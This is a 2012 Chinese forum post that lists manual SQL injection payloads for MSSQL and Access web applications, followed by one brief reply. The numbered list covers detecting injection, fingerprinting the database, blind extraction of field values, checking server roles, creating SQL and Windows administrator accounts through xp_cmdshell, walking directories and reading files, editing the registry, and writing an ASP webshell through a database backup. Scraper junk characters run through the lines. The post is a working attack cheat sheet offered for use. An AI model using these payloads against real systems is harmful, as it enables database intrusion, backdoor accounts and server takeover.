找回密码
 立即注册
查看: 2863|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 0 v3 T' x$ a7 l9 v$ A
1.判断是否有注入;and 1=1 ;and 1=2 1 V# c% R' }  ?  p5 I2 P
# M1 [! f5 G: ?( o
2.初步判断是否是mssql ;and user>0 0 R1 N5 |0 y% d9 G* k2 o2 V

, ~/ T( b( h4 V" l( w3.注入参数是字符'and [查询条件] and ''=' 2 B. s: I/ k; f- W& L0 ^' e$ Y2 j3 ?

+ n1 t; j" \2 c+ U6 C% f) `4.搜索时没过滤参数的'and [查询条件] and '%25'='
' q1 u0 p3 l/ r& t0 W
& j6 L; \1 p; B; l9 s5.判断数据库系统 ( @( Y( [. ?3 C( R& a% y; r
;and (select count(*) from sysobjects)>0 mssql 6 l) L1 t( F7 ]5 i3 A
;and (select count(*) from msysobjects)>0 access
- u4 c# |* R5 L7 w9 c. [
3 H& ^/ J3 n- ~* s3 |9 |5 T" a6.猜数据库 ;and (select Count(*) from [数据库名])>0
) E: }7 K, H+ l1 S8 h. E
7 Z- U* ?6 [% H4 ]. E7.猜字段 ;and (select Count(字段名) from 数据库名)>0
5 R0 v$ g! _9 ^
  K) F5 G- x  @2 c1 r8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
3 P7 M, A. I- p) G' Z
, `: Y; z# l1 B; o9.(1)猜字段的ascii值(access)
/ I; h) Q5 N1 r9 s8 d' r+ M/ F. U;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
+ c. v; _+ N& y$ R2 r
1 V; o2 ]4 z1 X, i(2)猜字段的ascii值(mssql)
+ f1 n( d8 z) e;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
; u5 `& x) e5 P
: x+ O  h# M3 Z4 B: E& `* N10.测试权限结构(mssql)   E" k: L7 L1 L! Z: Y; i
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
. M/ |0 |" j+ O# D1 \- T2 U;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
5 J, w7 p1 }' s7 o' a: v3 \) O;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
+ w5 n! k+ d1 A' Y;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3 n5 v  P4 [: d5 _, ~( [( d
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 7 |; M& C/ B5 `9 c
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- " l7 |1 Q# ~+ p; }9 M: b8 j4 i3 d
;and 1=(select IS_MEMBER('db_owner'));-- 6 v$ y0 @  d& c( U& w- {

8 o5 R6 P  y9 y: E7 X, e8 r11.添加mssql和系统的帐户
, N% p. R- W7 o: F, I" c& \;exec master.dbo.sp_addlogin username;-- 2 F3 g1 Z+ i+ z

1 b# W3 X3 X- \;exec master.dbo.sp_password null,username,password;-- / S% t  W$ L5 n- H% g1 B
) U+ T* J% k5 w5 ~  M
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
) f+ c3 I5 M: o
+ e  W% F# m0 i( B;exec master.dbo.xp_cmdshell 'net user username password * p4 I$ V" F# R; n
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 9 P, @. Y8 J: N  g' [2 a
3 L$ r5 h7 Q1 L) N* b  V- O
;exec master.dbo.xp_cmdshell 'net user username password /add';--
$ T, p7 J( b& `: {4 j% n9 w. h4 u4 X1 ~1 o% w  y7 v( G; H
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 2 b, S" P; L& v' h' l4 C3 ]4 y

8 V  l) M/ s7 H" \12.(1)遍历目录
7 b/ y1 t+ l1 T$ k6 Q% o! ^
2 L6 T1 n& G9 a;create table dirs(paths varchar(100), id int)
  D, x" U6 C2 u4 F;insert dirs exec master.dbo.xp_dirtree 'c:\'
6 w( d% O* o, {% o;and (select top 1 paths from dirs)>0 . y! ?( M4 V3 m! u
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
7 R4 g. f. d7 `$ ?  m' d3 i+ B. Z4 q7 q/ E( ]) R; k7 L2 O9 ?- f
(2)遍历目录
) y  F6 l& s. U7 p;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
. O$ u% C* m6 y  D1 f4 r;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 9 R  C1 P! M; t3 g" N
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
' z  w8 O  b+ z$ b;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构   Z$ \) S9 V) L/ Q* T1 G% o! T
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 # ?8 T9 Q& ~; M/ e6 C' W
: i& z/ f. M$ V0 p5 v* ]- y9 `
13.mssql中的存储过程 7 N" a) L# U, u" \

& C4 s8 Z4 p  o- |xp_regenumvalues 注册表根键, 子键
' w; b. h* [3 r;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值   C% S: u3 h* o: i# A
# s1 W" c7 Q8 u9 R1 [
xp_regread 根键,子键,键值名
- |8 C0 A6 \, o;exec xp_regread
) y8 }! v. F4 Y'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
  g+ p% d' w( `- e9 D* b
. G6 f4 _7 v' k+ D$ hxp_regwrite 根键,子键, 值名, 值类型, 值 4 Y7 v4 Z8 e! B6 S2 v
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
6 L6 ?% I0 \; [;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 " k6 H) T5 q: l0 m6 {% ]
6 ~; z# s, m3 r/ C' O# N* o
xp_regdeletevalue 根键,子键,值名
; t6 ?* w: O3 z0 I& g5 R" X8 |( J
: [1 M& R# [6 n- w& q  s, kexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
+ W' R  X& e! n' u1 H% X) ^* H2 @7 _1 _, h* Y& G- H$ D: f
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 1 ~+ s/ c9 I$ Y% ~& d8 z; x6 L1 H. H
$ ]5 \: H# B8 W8 J4 }
14.mssql的backup创建webshell ) }+ _; E0 U; ^, h: x1 S6 n
use model & p- c! `6 p% I$ h/ X( v7 _* F/ o9 c+ {
create table cmd(str image); * l/ P5 _" s. y" Z' H
insert into cmd(str) values (''); 8 J7 {8 e- X: `- M3 U- U
backup database model to disk='c:\l.asp'; 0 V; E7 p) t* U' F2 L" s

; U$ M# b1 n$ b+ @15.mssql内置函数 ; Z) G& u! p; [; L
;and (select @@version)>0 获得Windows的版本号
% c; J! B9 P! C3 F1 X. s;and user_name()='dbo' 判断当前系统的连接用户是不是sa # q. ?5 |2 |+ N. A- w# H
;and (select user_name())>0 爆当前系统的连接用户 + E+ a- o5 T* p6 @8 j
;and (select db_name())>0 得到当前连接的数据库 : j. `" r$ P0 y5 v  q8 D, s0 t
! P6 w* f/ E: ~8 x- @5 ]- V
16.简洁的webshell   k4 c" z) g: I: {- _7 u/ ]" M

8 Y6 |; U  y3 p( Uuse model
$ l$ \  X5 b( c; b+ d; f$ y
: Z# L( U: ]7 Q7 M6 ^create table cmd(str image); / R6 V+ m, h3 K8 s. \# _) I

2 U$ `/ k+ j2 {insert into cmd(str) values ('');
- u) Q, O8 U2 f$ D: Q+ ?
. _  b5 n$ p& z- h& sbackup database model to disk='g:\wwwtest\l.asp';
1 U* h- W$ D( g " v# x+ g: p! f
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表